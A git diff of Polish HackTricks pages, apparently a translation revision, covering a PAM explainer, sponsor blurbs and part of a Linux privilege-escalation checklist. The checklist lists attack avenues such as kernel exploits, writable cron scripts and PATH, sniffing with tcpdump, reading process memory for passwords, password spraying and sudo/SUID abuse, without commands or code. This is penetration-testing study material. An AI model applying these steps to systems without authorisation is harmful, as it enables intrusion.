Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,43 +1,44 @@
|
|||
# PAM - Moduły uwierzytelniania do podłączania
|
||||
# PAM - Pluggable Authentication Modules
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **bezpłatne** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące dane**.
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik **za darmo** pod adresem:
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Podstawowe informacje
|
||||
### Basic Information
|
||||
|
||||
**PAM (Moduły uwierzytelniania do podłączania)** działają jako mechanizm bezpieczeństwa, który **weryfikuje tożsamość użytkowników próbujących uzyskać dostęp do usług komputerowych**, kontrolując ich dostęp na podstawie różnych kryteriów. Jest to swoisty cyfrowy dozorca, zapewniający, że tylko upoważnieni użytkownicy mogą korzystać z określonych usług, jednocześnie potencjalnie ograniczając ich używanie w celu zapobieżenia przeciążeniom systemu.
|
||||
**PAM (Pluggable Authentication Modules)** działa jako mechanizm zabezpieczeń, który **weryfikuje tożsamość użytkowników próbujących uzyskać dostęp do usług komputerowych**, kontrolując ich dostęp na podstawie różnych kryteriów. Jest to podobne do cyfrowego strażnika, który zapewnia, że tylko autoryzowani użytkownicy mogą korzystać z określonych usług, jednocześnie potencjalnie ograniczając ich użycie, aby zapobiec przeciążeniom systemu.
|
||||
|
||||
#### Pliki konfiguracyjne
|
||||
#### Configuration Files
|
||||
|
||||
* **Systemy Solaris i oparte na UNIX** zazwyczaj korzystają z centralnego pliku konfiguracyjnego znajdującego się pod ścieżką `/etc/pam.conf`.
|
||||
* **Systemy Linux** preferują podejście katalogowe, przechowując konfiguracje specyficzne dla usług wewnątrz `/etc/pam.d`. Na przykład plik konfiguracyjny dla usługi logowania znajduje się pod ścieżką `/etc/pam.d/login`.
|
||||
* **Systemy Solaris i UNIX** zazwyczaj wykorzystują centralny plik konfiguracyjny znajdujący się w `/etc/pam.conf`.
|
||||
* **Systemy Linux** preferują podejście oparte na katalogach, przechowując konfiguracje specyficzne dla usług w `/etc/pam.d`. Na przykład, plik konfiguracyjny dla usługi logowania znajduje się w `/etc/pam.d/login`.
|
||||
|
||||
Przykładowa konfiguracja PAM dla usługi logowania mogłaby wyglądać tak:
|
||||
Przykład konfiguracji PAM dla usługi logowania może wyglądać następująco:
|
||||
```
|
||||
auth required /lib/security/pam_securetty.so
|
||||
auth required /lib/security/pam_nologin.so
|
||||
|
@ -50,27 +51,27 @@ password required /lib/security/pam_ldap.so
|
|||
password required /lib/security/pam_pwdb.so use_first_pass
|
||||
session required /lib/security/pam_unix_session.so
|
||||
```
|
||||
#### **Strefy Zarządzania PAM**
|
||||
#### **Zarządzanie obszarami PAM**
|
||||
|
||||
Te strefy, czyli grupy zarządzania, obejmują **auth**, **account**, **password** i **session**, z których każda odpowiada za różne aspekty procesu uwierzytelniania i zarządzania sesją:
|
||||
Te obszary, lub grupy zarządzania, obejmują **auth**, **account**, **password** i **session**, z których każdy odpowiada za różne aspekty procesu uwierzytelniania i zarządzania sesjami:
|
||||
|
||||
- **Auth**: Sprawdza tożsamość użytkownika, często poprzez prośbę o hasło.
|
||||
- **Account**: Zarządza weryfikacją konta, sprawdzając warunki takie jak przynależność do grupy lub ograniczenia czasowe.
|
||||
- **Password**: Zarządza aktualizacją hasła, w tym sprawdzaniem złożoności lub zapobieganiem atakom słownikowym.
|
||||
- **Session**: Zarządza działaniami podczas rozpoczęcia lub zakończenia sesji usługi, takimi jak montowanie katalogów czy ustawianie limitów zasobów.
|
||||
* **Auth**: Weryfikuje tożsamość użytkownika, często prosząc o hasło.
|
||||
* **Account**: Obsługuje weryfikację konta, sprawdzając warunki takie jak członkostwo w grupie lub ograniczenia czasowe.
|
||||
* **Password**: Zarządza aktualizacjami haseł, w tym kontrolą złożoności lub zapobieganiem atakom słownikowym.
|
||||
* **Session**: Zarządza działaniami podczas rozpoczęcia lub zakończenia sesji usługi, takimi jak montowanie katalogów lub ustawianie limitów zasobów.
|
||||
|
||||
#### **Kontrole Modułów PAM**
|
||||
#### **Kontrola modułów PAM**
|
||||
|
||||
Kontrole określają reakcję modułu na sukces lub porażkę, wpływając na cały proces uwierzytelniania. Obejmują:
|
||||
Kontrole określają reakcję modułu na sukces lub porażkę, wpływając na ogólny proces uwierzytelniania. Obejmują one:
|
||||
|
||||
- **Required**: Porażka wymaganego modułu kończy się ostateczną porażką, ale dopiero po sprawdzeniu wszystkich kolejnych modułów.
|
||||
- **Requisite**: Natychmiastowe zakończenie procesu po porażce.
|
||||
- **Sufficient**: Sukces pomija resztę sprawdzeń w tej samej strefie, chyba że kolejny moduł zawiedzie.
|
||||
- **Optional**: Powoduje porażkę tylko wtedy, gdy jest jedynym modułem na stosie.
|
||||
* **Required**: Porażka wymaganego modułu skutkuje ostateczną porażką, ale tylko po sprawdzeniu wszystkich kolejnych modułów.
|
||||
* **Requisite**: Natychmiastowe zakończenie procesu w przypadku porażki.
|
||||
* **Sufficient**: Sukces omija pozostałe kontrole tego samego obszaru, chyba że kolejny moduł zawiedzie.
|
||||
* **Optional**: Powoduje porażkę tylko wtedy, gdy jest jedynym modułem w stosie.
|
||||
|
||||
#### Przykładowy Scenariusz
|
||||
#### Przykładowy scenariusz
|
||||
|
||||
W konfiguracji z wieloma modułami uwierzytelniania, proces podąża za ściśłym porządkiem. Jeśli moduł `pam_securetty` stwierdzi, że terminal logowania nie jest autoryzowany, logowania roota są blokowane, ale wszystkie moduły są nadal przetwarzane ze względu na jego status "required". Moduł `pam_env` ustawia zmienne środowiskowe, co potencjalnie ułatwia doświadczenie użytkownika. Moduły `pam_ldap` i `pam_unix` współpracują ze sobą w procesie uwierzytelniania użytkownika, przy czym `pam_unix` próbuje użyć wcześniej podanego hasła, zwiększając wydajność i elastyczność metod uwierzytelniania.
|
||||
W konfiguracji z wieloma modułami auth, proces przebiega w ścisłej kolejności. Jeśli moduł `pam_securetty` uzna terminal logowania za nieautoryzowany, logowania roota są zablokowane, jednak wszystkie moduły są nadal przetwarzane z powodu jego statusu "required". Moduł `pam_env` ustawia zmienne środowiskowe, co może wspierać doświadczenia użytkownika. Moduły `pam_ldap` i `pam_unix` współpracują, aby uwierzytelnić użytkownika, przy czym `pam_unix` próbuje użyć wcześniej podanego hasła, co zwiększa efektywność i elastyczność metod uwierzytelniania.
|
||||
|
||||
### Referencje
|
||||
|
||||
|
@ -80,24 +81,25 @@ W konfiguracji z wieloma modułami uwierzytelniania, proces podąża za ściśł
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcjonalności do sprawdzania, czy firma lub jej klienci nie zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana **dark-web**, która oferuje **darmowe** funkcje sprawdzania, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do repozytoriów** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,88 +1,89 @@
|
|||
# Lista kontrolna - Eskalacja uprawnień w systemie Linux
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy!
|
||||
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
|
||||
|
||||
**Spojrzenie na Hakowanie**\
|
||||
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakowania
|
||||
**Wgląd w hacking**\
|
||||
Zaangażuj się w treści, które zgłębiają emocje i wyzwania związane z hackingiem
|
||||
|
||||
**Aktualności z Hakowania na Żywo**\
|
||||
Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnościom na żywo i spostrzeżeniom
|
||||
**Aktualności o hackingu w czasie rzeczywistym**\
|
||||
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i spostrzeżeniom
|
||||
|
||||
**Najnowsze Ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi programami nagród za błędy i istotnymi aktualizacjami platform
|
||||
**Najnowsze ogłoszenia**\
|
||||
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
|
||||
|
||||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||||
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
|
||||
|
||||
### **Najlepsze narzędzie do szukania wektorów eskalacji uprawnień lokalnych w systemie Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
### **Najlepsze narzędzie do wyszukiwania wektorów eskalacji uprawnień lokalnych w systemie Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
### [Informacje o Systemie](privilege-escalation/#system-information)
|
||||
### [Informacje o systemie](privilege-escalation/#system-information)
|
||||
|
||||
* [ ] Uzyskaj **informacje o systemie operacyjnym**
|
||||
* [ ] Sprawdź [**ŚCIEŻKĘ**](privilege-escalation/#path), czy istnieje **folder z uprawnieniami do zapisu**?
|
||||
* [ ] Sprawdź [**zmienne środowiskowe**](privilege-escalation/#env-info), czy zawierają jakieś poufne informacje?
|
||||
* [ ] Szukaj [**exploitów jądra**](privilege-escalation/#kernel-exploits) **za pomocą skryptów** (DirtyCow?)
|
||||
* [ ] **Sprawdź**, czy [**wersja sudo jest podatna**](privilege-escalation/#sudo-version)
|
||||
* [ ] [**Weryfikacja podpisu Dmesg nie powiodła się**](privilege-escalation/#dmesg-signature-verification-failed)
|
||||
* [ ] Sprawdź [**PATH**](privilege-escalation/#path), czy jest jakaś **zapisywalna folder**?
|
||||
* [ ] Sprawdź [**zmienne środowiskowe**](privilege-escalation/#env-info), czy są jakieś wrażliwe dane?
|
||||
* [ ] Szukaj [**eksploitów jądra**](privilege-escalation/#kernel-exploits) **używając skryptów** (DirtyCow?)
|
||||
* [ ] **Sprawdź**, czy [**wersja sudo** jest podatna](privilege-escalation/#sudo-version)
|
||||
* [ ] [**Weryfikacja podpisu Dmesg** nie powiodła się](privilege-escalation/#dmesg-signature-verification-failed)
|
||||
* [ ] Więcej informacji o systemie ([data, statystyki systemu, informacje o CPU, drukarki](privilege-escalation/#more-system-enumeration))
|
||||
* [ ] [Eskalacja obrony](privilege-escalation/#enumerate-possible-defenses)
|
||||
* [ ] [**Zenumeruj więcej zabezpieczeń**](privilege-escalation/#enumerate-possible-defenses)
|
||||
|
||||
### [Dyski](privilege-escalation/#drives)
|
||||
|
||||
* [ ] **Wyświetl zamontowane** dyski
|
||||
* [ ] Czy jest **jakiś niezamontowany dysk**?
|
||||
* [ ] Czy są **jakieś dane uwierzytelniające w fstab**?
|
||||
* [ ] **Wypisz zamontowane** dyski
|
||||
* [ ] **Czy jest jakiś niezmontowany dysk?**
|
||||
* [ ] **Czy są jakieś dane uwierzytelniające w fstab?**
|
||||
|
||||
### [**Zainstalowane Oprogramowanie**](privilege-escalation/#installed-software)
|
||||
### [**Zainstalowane oprogramowanie**](privilege-escalation/#installed-software)
|
||||
|
||||
* [ ] Sprawdź, czy jest [**zainstalowane**](privilege-escalation/#useful-software) **użyteczne oprogramowanie**
|
||||
* [ ] Sprawdź, czy jest [**zainstalowane oprogramowanie podatne na ataki**](privilege-escalation/#vulnerable-software-installed)
|
||||
* [ ] **Sprawdź** [**przydatne oprogramowanie**](privilege-escalation/#useful-software) **zainstalowane**
|
||||
* [ ] **Sprawdź** [**podatne oprogramowanie**](privilege-escalation/#vulnerable-software-installed) **zainstalowane**
|
||||
|
||||
### [Procesy](privilege-escalation/#processes)
|
||||
|
||||
* [ ] Czy uruchomione jest **nieznane oprogramowanie**?
|
||||
* [ ] Czy jakieś **nieznane oprogramowanie działa**?
|
||||
* [ ] Czy jakieś oprogramowanie działa z **większymi uprawnieniami niż powinno**?
|
||||
* [ ] Szukaj **exploitów uruchomionych procesów** (szczególnie wersji uruchamianej).
|
||||
* [ ] Czy możesz **zmodyfikować binarny plik** dowolnego uruchomionego procesu?
|
||||
* [ ] **Monitoruj procesy** i sprawdź, czy uruchamiany jest jakiś interesujący proces z dużą częstotliwością.
|
||||
* [ ] Czy możesz **odczytać** pewne interesujące **pamięci procesów** (gdzie mogą być zapisane hasła)?
|
||||
* [ ] Szukaj **eksploitów działających procesów** (szczególnie wersji, która działa).
|
||||
* [ ] Czy możesz **zmodyfikować binarny** plik jakiegokolwiek działającego procesu?
|
||||
* [ ] **Monitoruj procesy** i sprawdź, czy jakiś interesujący proces działa często.
|
||||
* [ ] Czy możesz **odczytać** pamięć **procesu** (gdzie mogą być zapisane hasła)?
|
||||
|
||||
### [Zadania Zaplanowane/Cron](privilege-escalation/#scheduled-jobs)
|
||||
### [Zadania zaplanowane/Cron?](privilege-escalation/#scheduled-jobs)
|
||||
|
||||
* [ ] Czy [**ŚCIEŻKA** ](privilege-escalation/#cron-path)jest modyfikowana przez jakiś cron i możesz w niej **pisać**?
|
||||
* [ ] Czy w zadaniu cron jest [**znak wieloznaczny** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)?
|
||||
* [ ] Czy jakiś [**modyfikowalny skrypt** ](privilege-escalation/#cron-script-overwriting-and-symlink)jest **wykonywany** lub znajduje się w **modyfikowalnym folderze**?
|
||||
* [ ] Czy wykryłeś, że jakiś **skrypt** mógłby być lub jest **wykonywany bardzo często**](privilege-escalation/#frequent-cron-jobs)? (co minutę, co dwie minuty lub co pięć minut)
|
||||
* [ ] Czy [**PATH**](privilege-escalation/#cron-path) jest modyfikowany przez jakiś cron i możesz w nim **zapisać**?
|
||||
* [ ] Czy w zadaniu cron jest jakiś [**znacznik**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)?
|
||||
* [ ] Czy jakiś [**modyfikowalny skrypt**](privilege-escalation/#cron-script-overwriting-and-symlink) jest **wykonywany** lub znajduje się w **modyfikowalnym folderze**?
|
||||
* [ ] Czy wykryłeś, że jakiś **skrypt** może być lub jest [**wykonywany** bardzo **często**](privilege-escalation/#frequent-cron-jobs)? (co 1, 2 lub 5 minut)
|
||||
|
||||
### [Usługi](privilege-escalation/#services)
|
||||
|
||||
* [ ] Czy istnieje **plik .service z uprawnieniami do zapisu**?
|
||||
* [ ] Czy jest **wykonywany binarny plik z uprawnieniami do zapisu** przez **usługę**?
|
||||
* [ ] Czy istnieje **folder z uprawnieniami do zapisu w ścieżce systemd**?
|
||||
* [ ] Czy jest jakiś **zapisywalny plik .service**?
|
||||
* [ ] Czy jest jakiś **zapisywalny plik binarny** wykonywany przez **usługę**?
|
||||
* [ ] Czy jest jakiś **zapisywalny folder w PATH systemd**?
|
||||
|
||||
### [Timery](privilege-escalation/#timers)
|
||||
|
||||
* [ ] Czy istnieje **timer z uprawnieniami do zapisu**?
|
||||
* [ ] Czy jest jakiś **zapisywalny timer**?
|
||||
|
||||
### [Gniazda](privilege-escalation/#sockets)
|
||||
|
||||
* [ ] Czy istnieje **plik .socket z uprawnieniami do zapisu**?
|
||||
* [ ] Czy możesz **komunikować się z dowolnym gniazdem**?
|
||||
* [ ] Czy jest jakiś **zapisywalny plik .socket**?
|
||||
* [ ] Czy możesz **komunikować się z jakimkolwiek gniazdem**?
|
||||
* [ ] **Gniazda HTTP** z interesującymi informacjami?
|
||||
|
||||
### [D-Bus](privilege-escalation/#d-bus)
|
||||
|
@ -91,43 +92,44 @@ Bądź na bieżąco z najnowszymi programami nagród za błędy i istotnymi aktu
|
|||
|
||||
### [Sieć](privilege-escalation/#network)
|
||||
|
||||
* [ ] Wylicz sieć, aby wiedzieć, gdzie się znajdujesz
|
||||
* [ ] Czy masz dostęp do **otwartych portów**, do których nie mogłeś uzyskać dostępu przed uzyskaniem powłoki wewnątrz maszyny?
|
||||
* [ ] Czy możesz **przechwytywać ruch** za pomocą `tcpdump`?
|
||||
* [ ] Zenumeruj sieć, aby wiedzieć, gdzie jesteś
|
||||
* [ ] **Otwarte porty, do których nie mogłeś uzyskać dostępu przed** uzyskaniem powłoki wewnątrz maszyny?
|
||||
* [ ] Czy możesz **podsłuchiwać ruch** używając `tcpdump`?
|
||||
|
||||
### [Użytkownicy](privilege-escalation/#users)
|
||||
|
||||
* [ ] Ogólne **wyliczenie użytkowników/grup**
|
||||
* [ ] Czy masz **bardzo duże UID**? Czy **maszyna** jest **podatna**?
|
||||
* [ ] Czy możesz [**eskalować uprawnienia dzięki grupie**](privilege-escalation/interesting-groups-linux-pe/), do której należysz?
|
||||
* [ ] Dane z **schowka**?
|
||||
* [ ] Polityka hasła?
|
||||
* [ ] Spróbuj **użyć** każdego **znanego hasła**, które wcześniej odkryłeś, aby zalogować się **z każdym** możliwym **użytkownikiem**. Spróbuj również zalogować się bez hasła.
|
||||
* [ ] Ogólna **enumeracja użytkowników/grup**
|
||||
* [ ] Czy masz **bardzo duży UID**? Czy **maszyna** jest **podatna**?
|
||||
* [ ] Czy możesz [**eskalować uprawnienia dzięki grupie**](privilege-escalation/interesting-groups-linux-pe/) do której należysz?
|
||||
* [ ] **Dane z schowka**?
|
||||
* [ ] Polityka haseł?
|
||||
* [ ] Spróbuj **użyć** każdego **znanego hasła**, które odkryłeś wcześniej, aby zalogować się **z każdym** możliwym **użytkownikiem**. Spróbuj również zalogować się bez hasła.
|
||||
|
||||
### [Ścieżka z Uprawnieniami do Zapisu](privilege-escalation/#writable-path-abuses)
|
||||
### [Zapisywalny PATH](privilege-escalation/#writable-path-abuses)
|
||||
|
||||
* [ ] Jeśli masz **uprawnienia do zapisu w jakimś folderze w ŚCIEŻCE**, możesz próbować eskalować uprawnienia
|
||||
* [ ] Jeśli masz **uprawnienia do zapisu w jakimś folderze w PATH**, możesz być w stanie eskalować uprawnienia
|
||||
|
||||
### [Komendy SUDO i SUID](privilege-escalation/#sudo-and-suid)
|
||||
|
||||
* [ ] Czy możesz wykonać **dowolną komendę z sudo**? Czy możesz jej użyć do ODCZYTANIA, ZAPISANIA lub WYKONANIA czegoś jako root? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* [ ] Czy jest **podatny binarny plik SUID**? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* [ ] Czy [**komendy sudo są **ograniczone** przez **ścieżkę**? Czy możesz **obejść** te ograniczenia](privilege-escalation/#sudo-execution-bypassing-paths)?
|
||||
* [ ] [**Binarny Sudo/SUID bez wskazanej ścieżki**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
|
||||
